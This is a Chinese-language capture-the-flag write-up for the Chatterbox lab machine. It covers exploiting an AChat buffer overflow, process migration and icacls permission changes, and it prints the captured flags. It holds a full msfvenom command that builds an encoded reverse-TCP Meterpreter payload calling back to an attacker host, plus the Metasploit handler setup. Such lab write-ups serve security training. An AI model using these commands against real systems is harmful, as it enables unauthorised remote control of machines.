[Meachines] [Medium] Chatterbox AChat 缓冲区溢出 + MSF自动进程迁移+ icacls权限修改
字数 1242 2025-08-20 18:18:17
AChat 缓冲区溢出漏洞利用与权限提升教学文档
1. 信息收集阶段
1.1 目标扫描
使用Nmap对目标IP(10.10.10.74)进行扫描,发现以下开放端口:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp open http AChat chat system httpd
9256/tcp open achat AChat chat system
49152-49157/tcp open msrpc Microsoft Windows RPC
1.2 服务识别
关键发现:
- 操作系统:Windows 7 Professional 7601 Service Pack 1
- 主机名:CHATTERBOX
- 运行AChat聊天系统(端口9255和9256)
2. 漏洞利用阶段
2.1 查找AChat漏洞
使用searchsploit查找AChat相关漏洞:
$ searchsploit Achat
2.2 生成恶意载荷
使用msfvenom生成反向TCP Meterpreter载荷:
$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
LHOST=10.10.16.24 LPORT=10032 \
-e x86/unicode_mixed \
-b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' \
BufferRegister=EAX -f python
关键参数说明:
-a x86: 指定x86架构--platform Windows: 目标平台为Windows-p windows/meterpreter/reverse_tcp: 使用反向TCP Meterpreter载荷LHOST/LPORT: 监听主机和端口-e x86/unicode_mixed: 使用unicode_mixed编码器-b: 指定坏字符列表(排除所有可能导致问题的字符)BufferRegister=EAX: 指定EAX寄存器作为缓冲区-f python: 输出格式为Python
2.3 设置监听器
在Metasploit中设置处理程序:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 10032
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
2.4 自动进程迁移
由于目标系统不稳定,需要快速进行进程迁移:
- 创建自动迁移脚本:
$ echo 'run post/windows/manage/migrate'>/tmp/automigrate.rc
- 在Metasploit中配置自动运行脚本:
msf exploit(multi/handler) > set AutoRunScript multi_console_command -r /tmp/automigrate.rc
- 开始监听:
msf6 exploit(multi/handler) > exploit
3. 初始访问与用户标志获取
成功利用漏洞后,获取用户标志:
User.txt: e8d47bf70011eb9c3dc2bbaba0a5b269
4. 权限提升阶段
4.1 检查权限
检查Administrator桌面目录权限:
C:\Users\Administrator\Desktop>icacls ../Desktop
4.2 权限问题
发现虽然能访问Administrator的desktop目录,但无法读取root.txt文件
4.3 手动修改权限
使用icacls命令修改root.txt文件的权限:
- 授予alfred用户完全控制权限:
C:\Users\Administrator\Desktop>icacls root.txt /grant alfred:F
- 验证权限修改:
C:\Users\Administrator\Desktop>icacls root.txt
4.4 获取root标志
成功读取root.txt内容:
Root.txt: 17a0c2aa4ce373d5fa29c915805f9bd0
5. 关键知识点总结
-
AChat缓冲区溢出漏洞:利用AChat聊天系统的缓冲区溢出漏洞获取初始访问权限
-
Meterpreter载荷生成:使用msfvenom生成定制化的反向TCP载荷,特别注意:
- 坏字符排除
- 使用unicode_mixed编码器绕过可能的过滤
- 指定EAX寄存器作为缓冲区
-
自动进程迁移:针对不稳定系统,设置自动迁移脚本确保会话稳定性
-
Windows权限管理:使用icacls工具查看和修改文件权限
/grant参数用于授予权限F表示完全控制权限
-
权限提升技巧:通过修改关键文件权限而非直接提权来获取敏感信息
6. 防御建议
- 及时更新和修补AChat聊天系统
- 实施最小权限原则,限制用户对系统文件的访问
- 监控和限制icacls等权限管理工具的使用
- 部署防缓冲区溢出保护机制
- 对网络服务进行适当的访问控制